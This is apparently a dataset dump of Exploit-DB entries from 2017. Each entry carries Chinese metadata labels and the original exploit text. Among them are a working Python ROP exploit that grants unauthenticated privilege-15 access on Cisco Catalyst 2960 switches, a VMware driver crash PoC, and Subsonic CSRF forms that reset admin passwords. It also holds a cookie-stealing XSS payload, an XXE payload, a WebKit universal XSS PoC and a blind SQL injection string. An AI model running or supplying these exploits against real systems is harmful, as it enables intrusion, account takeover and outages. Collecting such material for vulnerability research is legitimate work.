QLWD/code_shield huggingface dataset:
标题: Net Monitor for Employees Pro < 5.3.4 - Unquoted Service Path Privilege Escalation EDB-ID: 42141 CVE: 2017-7180 类型: LOCAL 平台: WINDOWS 发布日期: 2017-06-08 漏洞利用脚本: # Exploit Title: Unquoted Service Path Privilege Escalation - Net Monitor for Employees Pro <= 5.3.4 
# Date: 18/03/2017
# Exploit Author: Saeid Atabaki
# E-Mail: bytecod3r <at> gmail.com, saeid <at> Nsecurity.org
# Linkedin: https://www.linkedin.com/in/saeidatabaki
# Vendor Homepage: http://networklookout.com/
# Version: <= 5.3.4
# CVE: CVE-2017-7180
# Vendor Not Resoponding. contacted vendor 18/3/2017 

Net Monitor for Employees is an application to monitor users machine and its agent based. Its agent install itself as a service ("Net Monitor for Employees Agent") with an unquoted service path running with SYSTEM privileges. This could potentially allow an authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system.


C:\Users\Win7>sc qc  "Net Monitor for Employees Agent"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Net Monitor for Employees Agent
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Net Monitor for Employees Pro\bin\nmep_ctrlagentsvc.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Net Monitor for Employees Agent
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem


A successful attempt would require the local attacker must insert an executable file in the path of the service. Upon service restart or system reboot, the malicious code will be run with elevated privileges.


The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c) BYTECOD3R URL: https://www.exploit-db.com/exploits/42141
标题: VMware Workstation 12 Pro - Denial of Service EDB-ID: 42140 CVE: 2017-4916 类型: DOS 平台: WINDOWS 发布日期: 2017-06-08 漏洞利用脚本: /*
 * Title: NULL pointer dereference vulnerability in vstor2 driver (VMware Workstation Pro/Player)
 * CVE: 2017-4916 (VMSA-2017-0009)
 * Author: Borja Merino (@BorjaMerino)
 * Date: May 18, 2017
 * Tested on: Windows 10 Pro and Windows 7 Pro (SP1) with VMware® Workstation 12 Pro (12.5.5 build-5234757)
 * Affected: VMware Workstation Pro/Player 12.x
 * Description: This p0c produces a BSOD by sending a specific IOCTL code to the vstor2_mntapi20_shared device
 * driver due to a double call to IofCompleteRequest (generating a MULTIPLE_IRP_COMPLETE_REQUESTS bug check)
*/

#include "windows.h"
#include "stdio.h"

void ioctl_crash()
{
 HANDLE hfile;
 WCHAR *vstore = L"\\\\.\\vstor2-mntapi20-shared";
 DWORD dummy;
 char reply[0x3FDC];
 hfile = CreateFileW(vstore, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
 char buf[384] = "\x80\x01\x00\x00\xc8\xdc\x00\x00\xba\xab";
 DeviceIoControl(hfile, 0x2a002c, buf, 382, reply, sizeof(reply), &dummy, NULL);
}

void run_vix()
{
 STARTUPINFO si;
 PROCESS_INFORMATION pi;
 RtlZeroMemory(&si, sizeof(si));
 RtlZeroMemory(&pi, sizeof(pi));
 si.dwFlags |= STARTF_USESHOWWINDOW;
 si.wShowWindow = SW_HIDE;
    DWORD createFlags = CREATE_SUSPENDED;
 CreateProcess(L"C:\\Program Files (x86)\\VMware\\VMware Workstation\\vixDiskMountServer.exe", NULL, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
}

void main()
{
 run_vix(); //Comment this if vixDiskMountServer.exe is already running
 ioctl_crash();
} URL: https://www.exploit-db.com/exploits/42140
标题: Apple Safari 10.1 - Spread Operator Integer Overflow Remote Code Execution EDB-ID: 42125 CVE: 2017-2536 类型: REMOTE 平台: MACOS 发布日期: 2017-06-06 漏洞利用脚本: Sources:
https://phoenhex.re/2017-06-02/arrayspread
https://github.com/phoenhex/files/blob/master/exploits/spread-overflow

JavaScriptCore will allocate a JSFixedArray for every spread operand of the array literal (in slow_path_spread). As such, roughly 4 billion JSValues will have to be allocated, taking up 32 GiB in RAM. Luckily, this isn’t much of a problem due to the page compression performed by the macOS kernel. It will, however, take roughly a minute to trigger the bug.

What is left to do now is to perform some heap feng-shui to place something interesting on the heap that we will then overflow into. We use the following heap spray to exploit the bug:

- Allocate 100 JSArrays of size 0x40000 and root them (i.e. keep references). This will trigger GC multiple times and fill up holes in the heap.
- Allocate 100 JSArrays of size 0x40000, where only every second one is rooted. This triggers GC and leaves holes of size 0x40000 in the heap.
- Allocate a larger JSArray and an ArrayBuffer of the same size. These end up directly after the spray from step 2.
- Allocate 4 GiB of padding using JSArrays.
- Trigger the bug by concatenating JSArrays with a combined size of 232 + 0x40000 (containing the repeated byte 0x41).

The target buffer will be allocated in the sprayed region from step 2 and the victim buffers from step 3 will be overwritten. This increases the size of the victim array to the sprayed value (0x4141414141414141), so that it overlaps with the victim ArrayBuffer. The final steps immediately yield the fakeobj and addrof primitives described in section 1.2 of the JavaScriptCore phrack paper which can then be used to write code to a JIT page and jump to it.

In our exploit we perform step 5 in a separate web worker, so that we can launch a second stage shellcode immediately after the victim arrays are overwritten. This way we do not need to wait for the full overwrite to finish, and the heap is only left in a broken state for a very short time, so that garbage collection does not crash (which runs concurrently starting from Safari version 10.1). 


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42125.zip URL: https://www.exploit-db.com/exploits/42125
标题: Subsonic 6.1.1 - Cross-Site Request Forgery EDB-ID: 42117 CVE: 2017-9415 类型: WEBAPPS 平台: WINDOWS 发布日期: 2017-06-05 漏洞利用脚本: [+] Credits: John Page a.k.a hyp3rlinx 
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/SUBSONIC-PASSWORD-RESET-CSRF.txt
[+] ISR: ApparitionSec            
 


Vendor:
================
www.subsonic.org



Product:
===============
subsonic v6.1.1

Subsonic is a media streaming server. You install it on your own computer where you keep your music or video collection.



Vulnerability Type:
=====================
CSRF - Password Reset



CVE Reference:
==============
CVE-2017-9415



Security Issue:
================
Remote attackers can reset subsonic user account passwords if an authenticated user clicks a malicious link
or visits an attacker controlled webpage. However, username must be known or guessed.




Exploit/POC:
=============
<form  action="http://localhost:4040/userSettings.view" method="POST">
<input type="hidden" name="username"  value="admin">
<input type="hidden" name="transcodeSchemeName" value="OFF">
<input name="passwordChange" type="hidden" value="true"/>
<input type="hidden" name="_passwordChange" value="on"/>
<input  name="password" type="hidden" value="xyz123"/>
<input  name="confirmPassword" type="hidden" value="xyz123"/>
<input  name="email" type="hidden" value=""/>
<script>document.forms[0].submit()</script>
</form>



Network Access:
===============
Remote




Severity:
=========
High



Disclosure Timeline:
=============================
Vendor Notification:  May 29, 2017
Vendor Acknowledgement: May 30, 2017
June 4, 2017  : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx URL: https://www.exploit-db.com/exploits/42117
标题: Cisco Catalyst 2960 IOS 12.2(55)SE1 - 'ROCEM' Remote Code Execution EDB-ID: 42122 CVE: 2017-3881 类型: REMOTE 平台: HARDWARE 发布日期: 2017-04-12 漏洞利用脚本: #!/usr/bin/python
# Author:
#  Artem Kondratenko (@artkond)

import socket
import sys
from time import sleep

set_credless = True

if len(sys.argv) < 3:
 print sys.argv[0] + ' [host] --set/--unset'
 sys.exit()
elif sys.argv[2] == '--unset':
 set_credless = False
elif sys.argv[2] == '--set':
 pass
else:
 print sys.argv[0] + ' [host] --set/--unset'
 sys.exit()


s = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 23))

print '[+] Connection OK'
print '[+] Recieved bytes from telnet service:', repr(s.recv(1024))
#sleep(0.5)
print '[+] Sending cluster option'

print '[+] Setting credless privilege 15 authentication' if set_credless else '[+] Unsetting credless privilege 15 authentication'



payload = '\xff\xfa\x24\x00'
payload += '\x03CISCO_KITS\x012:'
payload += 'A' * 116
payload += '\x00\x00\x37\xb4'  # first gadget address 0x000037b4: lwz r0, 0x14(r1); mtlr r0; lwz r30, 8(r1); lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;
#next bytes are shown as offsets from r1
payload += '\x02\x2c\x8b\x74'  # +8  address of pointer to is_cluster_mode function - 0x34
if set_credless is True:
 payload += '\x00\x00\x99\x80' # +12 set  address of func that rets 1
else:
 payload += '\x00\x04\xea\x58' # unset 
payload += 'BBBB'     # +16(+0) r1 points here at second gadget
payload += '\x00\xdf\xfb\xe8'   # +4 second gadget address 0x00dffbe8: stw r31, 0x138(r30); lwz r0, 0x1c(r1); mtlr r0; lmw r29, 0xc(r1); addi r1, r1, 0x18; blr;
payload += 'CCCC'     # +8 
payload += 'DDDD'     # +12
payload += 'EEEE'     # +16(+0) r1 points here at third gadget
payload += '\x00\x06\x78\x8c'  # +20(+4) third gadget address. 0x0006788c: lwz r9, 8(r1); lwz r3, 0x2c(r9); lwz r0, 0x14(r1); mtlr r0; addi r1, r1, 0x10; blr; 
payload += '\x02\x2c\x8b\x60'  # +8  r1+8 = 0x022c8b60
payload += 'FFFF'     # +12 
payload += 'GGGG'     # +16(+0) r1 points here at fourth gadget 
payload += '\x00\x6b\xa1\x28'   # +20(+4) fourth gadget address 0x006ba128: lwz r31, 8(r1); lwz r30, 0xc(r1); addi r1, r1, 0x10; lwz r0, 4(r1); mtlr r0; blr;
if set_credless:
 payload += '\x00\x12\x52\x1c' # +8 address of the replacing function that returns 15 (our desired privilege level). 0x0012521c: li r3, 0xf; blr; 
else:
 payload += '\x00\x04\xe6\xf0' # unset
payload += 'HHHH'     # +12
payload += 'IIII'     # +16(+0) r1 points here at fifth gadget
payload += '\x01\x48\xe5\x60'  # +20(+4) fifth gadget address 0x0148e560: stw r31, 0(r3); lwz r0, 0x14(r1); mtlr r0; lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;
payload += 'JJJJ'     # +8 r1 points here at third gadget
payload += 'KKKK'     # +12
payload += 'LLLL'     # +16
payload += '\x01\x13\x31\xa8'  # +20 original execution flow return addr
payload += ':15:' +  '\xff\xf0'

s.send(payload)

print '[+] All done'

s.close() URL: https://www.exploit-db.com/exploits/42122
标题: Subsonic 6.1.1 - Cross-Site Request Forgery / Cross-Site Scripting EDB-ID: 42120 CVE: 2017-9414 类型: WEBAPPS 平台: WINDOWS 发布日期: 2017-06-05 漏洞利用脚本: [+] Credits: John Page a.k.a hyp3rlinx 
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/SUBSONIC-CSRF-PERSISTENT-XSS.txt
[+] ISR: ApparitionSec            
 

Vendor:
================
www.subsonic.org



Product:
===============
subsonic v6.1.1

Subsonic is a media streaming server. You install it on your own computer where you keep your music or video collection.



Vulnerability Type:
======================
CSRF - Persistent XSS



CVE Reference:
==============
CVE-2017-9414



Security Issue:
================
Remote attackers can abuse the Subscribe to Podcast feature of subsonic to store persistent XSS payloads 
if an authenticated user clicks a malicious link or visits an attacker controlled webpage. 



Exploit/POC:
=============
<form action="http://localhost:4040/playerSettings.view" method="post">
<input name="playerId" type="hidden" value="1">
<input name="name" type="text" value="<script>alert('XSS ' +document.cookie)</script>">
<script>document.forms[0].submit()</script>
</form>

Then visit http://localhost:4040/index.view

HTTP Response:
XSS JSESSIONID=1n631ex230ljs; player-61646d696e=1; DWRSESSIONID=!hqFsK!BCyup7gBQU8spRLvw0tBacefl9Nl


Misc Reflected:

XSS 1
http://localhost:4040/avatar.view?id=%3Cscript%3Ealert(document.cookie)%3C/script%3E

XSS 2
http://localhost:4040//userChart.view?type=%3Cscript%3Ealert(document.cookie)%3C/script%3E

XSS 3
http://localhost:4040/coverArt.view?size=%3Cscript%3Ealert(123)%3C/script%3E



Network Access:
===============
Remote




Severity:
=========
High



Disclosure Timeline:
==================================
Vendor Notification:  May 29, 2017
Vendor Acknowledgement: May 30, 2017
June 4, 2017  : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx URL: https://www.exploit-db.com/exploits/42120
标题: Subsonic 6.1.1 - XML External Entity Injection EDB-ID: 42119 CVE: 2017-9355 类型: LOCAL 平台: WINDOWS 发布日期: 2017-06-05 漏洞利用脚本: [+] Credits: John Page a.k.a hyp3rlinx 
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/SUBSONIC-XML-EXTERNAL-ENITITY.txt
[+] ISR: ApparitionSec            
 


Vendor:
================
www.subsonic.org



Product:
===============
subsonic v6.1.1

Subsonic is a media streaming server. You install it on your own computer where you keep your music or video collection.



Vulnerability Type:
====================
XML External Entity 



CVE Reference:
==============
CVE-2017-9355




Security Issue:
================
subsonic import playlist feature is succeptible to XML External Entity attack. To exploit a User must be tricked to
import a malicious .XSPF playlist file. The XXE injection can be used to target various hosts from the internal network 
to bypass Firewall or from the internet as XML External Entity is related to Server Side Request Forgery (SSRF) attacks.




Exploit/POC:
=============
1) Create some playlist file "RainbowsNUnic0rns.xspf" 

<?xml version="1.0"?>
<!DOCTYPE mmmmmRaisins [ 
<!ENTITY % mmmm SYSTEM "http://127.0.0.1:1337/">
%mmmm;]>


2) Import as playlist.


3) Start listener.

nc.exe -llvp 1337
listening on [any] 1337 ...

connect to [127.0.0.1] from USER-PC [127.0.0.1] 64428
GET / HTTP/1.1
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_45
Host: 127.0.0.1:1337
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive



Network Access:
===============
Remote




Severity:
=========
High



Disclosure Timeline:
==================================
Vendor Notification:  May 29, 2017
Vendor Acknowledgement: May 30, 2017
June 4, 2017  : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx URL: https://www.exploit-db.com/exploits/42119
标题: WebKit - CachedFrame does not Detach Openers Universal Cross-Site Scripting EDB-ID: 42105 CVE: 2017-2528 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2017-06-01 漏洞利用脚本: <!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1176

When a document loads "about:blank" or "about:srcdoc", it tries to inherit the security origin from its parent frame, or its opener frame if the parent frame doesn't exist. Normally, it doesn't happen that a subframe's document inherits its opener frame's security origin, because it has the parent frame. And it shouldn't happen at all. However, when the subframe is cached, only the parent frame is detached but not the opener frame. So, inheriting the opener frame's security origin could happen in that case.

void Document::initSecurityContext()
{
    ...
    if (!shouldInheritSecurityOriginFromOwner(m_url)) <<----- check m_url is about:blank or about:srcdoc.
        return;

    // If we do not obtain a meaningful origin from the URL, then we try to
    // find one via the frame hierarchy.
    Frame* parentFrame = m_frame->tree().parent();
    Frame* openerFrame = m_frame->loader().opener();

    Frame* ownerFrame = parentFrame;
    if (!ownerFrame)
        ownerFrame = openerFrame;

    if (!ownerFrame) {
        didFailToInitializeSecurityOrigin();
        return;
    }

    ...
    setCookieURL(ownerFrame->document()->cookieURL());
    // We alias the SecurityOrigins to match Firefox, see Bug 15313
    // https://bugs.webkit.org/show_bug.cgi?id=15313
    setSecurityOriginPolicy(ownerFrame->document()->securityOriginPolicy());
    ...
}

PoC:
-->

<body>
Click anywhere.
<script>

window.onclick = () => {
    window.onclick = null;

    let w = open('about:blank', '', 'width=500, height=500');
    w.eval(`
let f = document.body.appendChild(document.createElement('iframe'));
f.contentWindow.name = 'zzz';
opener.open('about:blank', 'zzz');

function navigate(w, url, cb = null) {
    w.__check = true;

    let a = w.document.createElement('a');
    a.href = url;
    a.click();

    if (!cb)
        return;

    let it = setInterval(() => {
        let navigated = false;
        try {
            if (!w.__check)
                navigated = true;
        } catch (e) {
            navigated = true;
        }

        if (navigated) {
            clearInterval(it);
            cb();
        }
    }, 10);
}

navigate(opener, 'https://abc.xyz/', () => {
    f.srcdoc = '<script>opener.alert(opener.location);</scrip' + 't>';
    f.contentWindow.onbeforeunload = () => {
        f.contentWindow.onbeforeunload = null;

        navigate(window, 'about:blank');
    };

    navigate(f.contentWindow, 'about:srcdoc');
});`);
}

</script>
</body> URL: https://www.exploit-db.com/exploits/42105
标题: Sungard eTRAKiT3 <= 3.2.1.17 - SQL Injection EDB-ID: 42111 CVE: 2016-6566 类型: WEBAPPS 平台: JSON 发布日期: 2017-06-02 漏洞利用脚本: Software: Sungard eTRAKiT3
Version: 3.2.1.17 and possibly lower
CVE: CVE-2016-6566 (https://www.kb.cert.org/vuls/id/846103)
Vulnerable Component:  Login page 


Description
================
The login form is vulnerable to blind SQL injection by an unauthenticated user.


Vulnerabilities
================
The "valueAsString" parameter inside the JSON payload contained by the "ucLogin_txtLoginId_ClientStat" POST parameter is not properly validated. An unauthenticated remote attacker may modify the POST request and insert a SQL query which will then be executed by the backend server. eTRAKiT 3.2.1.17 was tested, but other versions may also be vulnerable.

 
Proof of concept
================
Steps to Reproduce:
 1. Configure browser to use burp suite as proxy
 2. Turn interceptor on in burp suite
 3. Attempt to log in to etrakit3 website
 4. Modify the resulting HTTP request in the following way
 5. Locate the JSON payload contained by the ucLogin_txtLoginId_ClientStat POST parameter
 6. Locate the valueAsString parameter inside the JSON payload
 7. Append SQL code to the end of the value held by the valueAsString parameter, example: {"enabled":true,"emptyMessage":"Username","validationText":"fakeuser","valueAsString":"fakeuser';waitfor delay'0:0:10'--","lastSetTextBoxValue":"fakeuser"}

 
Solution
================
"SunGard Public Sector appreciates that this issue has been brought to our attention.   Our development team has addressed this report with a patch release.  Please contact the SunGard Public Sector TRAKiT Solutions division to request the patch release.  (858) 451-3030." -- (https://www.kb.cert.org/vuls/id/846103)


Timeline
================
2016-10-17: Discovered
2016-12-6: CVE Issued


Discovered by
================
Chris Anastasio 0x616e6173746173696f [ at ] illumant.com


About Illumant
================
Illumant has conducted thousands of security assessment and compliance engagements, helping over 800 clients protect themselves from cyber-attacks.  Through meticulous manual analysis, Illumant helps companies navigate the security and threat landscape to become more secure, less of a target, and more compliant.  For more information, visit https://illumant.com/ URL: https://www.exploit-db.com/exploits/42111
标题: WebKit JSC - 'JSObject::ensureLength' ensureLengthSlow Check Failure EDB-ID: 42103 CVE: 2017-2521 类型: DOS 平台: LINUX 发布日期: 2017-06-01 漏洞利用脚本: /*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1165

Here's a snippet of JSObject::ensureLength.

bool WARN_UNUSED_RETURN ensureLength(VM& vm, unsigned length)
{
    ASSERT(length < MAX_ARRAY_INDEX);
    ASSERT(hasContiguous(indexingType()) || hasInt32(indexingType()) || hasDouble(indexingType()) || hasUndecided(indexingType()));

    bool result = true;
    if (m_butterfly.get()->vectorLength() < length)
        result = ensureLengthSlow(vm, length);
        
    if (m_butterfly.get()->publicLength() < length)
        m_butterfly.get()->setPublicLength(length);
    return result;
}

|setPublicLength| is called whether |ensureLengthSlow| failed or not. So the |publicLength| may be lager than the actual allocated memory's size, which results in an OOB access.

Tested on Linux.

PoC:
*/

const kArrayLength = 0x200000;

let arr = new Array(kArrayLength);
arr.fill({});

let exh = [];
try {
    for (;;) {
        exh.push(new ArrayBuffer(kArrayLength * 8 * 8));
    }
} catch (e) {
}

try {
    arr.length *= 8;
    print('failed');
} catch (e) {
    print(e);

    exh = null;

    print('arr length: ' + arr.length.toString(16));
    for (let i = kArrayLength, n = arr.length; i < n; i++) {
        if (arr[i])
            print(arr[i]);
    }
} URL: https://www.exploit-db.com/exploits/42103